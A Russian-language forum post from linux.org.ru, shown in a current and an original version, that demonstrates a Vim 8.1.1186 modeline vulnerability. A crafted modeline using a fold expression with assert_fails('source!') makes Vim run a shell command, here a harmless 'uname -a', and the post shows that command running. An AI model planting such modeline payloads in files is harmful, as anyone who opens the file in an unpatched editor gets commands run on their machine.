LINUX.ORG.RU

История изменений

Исправление EXL, (текущая версия) :

Vim 8.1.1186

$ cat script.vim
#!/usr/bin/env vim

:!uname -a||" vi:fen:fdm=expr:fde=assert_fails("source\!\ \%"):fdl=0:fdt="

$ chmod +x script.vim
$ ./script.vim

Linux ASUS-A52F 5.0.7-arch1-1-ARCH #1 SMP PREEMPT Mon Apr 8 10:37:08 UTC 2019 x86_64 GNU/Linux

Press ENTER or type command to continue
Linux ASUS-A52F 5.0.7-arch1-1-ARCH #1 SMP PREEMPT Mon Apr 8 10:37:08 UTC 2019 x86_64 GNU/Linux

Press ENTER or type command to continue
Linux ASUS-A52F 5.0.7-arch1-1-ARCH #1 SMP PREEMPT Mon Apr 8 10:37:08 UTC 2019 x86_64 GNU/Linux

Press ENTER or type command to continue

А если нажать ENTER и затем нажать o в загрузившемся после исполнения «скрипта» редакторе, то можно очень сильно удивиться :D

Исходная версия EXL, :

Vim 8.1.1186

$ cat script.vim
#!/usr/bin/env vim

:!uname -a||" vi:fen:fdm=expr:fde=assert_fails("source\!\ \%"):fdl=0:fdt="

$ chmod +x script.vim
$ ./script.vim

Linux ASUS-A52F 5.0.7-arch1-1-ARCH #1 SMP PREEMPT Mon Apr 8 10:37:08 UTC 2019 x86_64 GNU/Linux

Press ENTER or type command to continue
Linux ASUS-A52F 5.0.7-arch1-1-ARCH #1 SMP PREEMPT Mon Apr 8 10:37:08 UTC 2019 x86_64 GNU/Linux

Press ENTER or type command to continue
Linux ASUS-A52F 5.0.7-arch1-1-ARCH #1 SMP PREEMPT Mon Apr 8 10:37:08 UTC 2019 x86_64 GNU/Linux

Press ENTER or type command to continue

А если нажать o в загрузившемся после исполнения «скрипта» редакторе, то можно очень сильно удивиться :D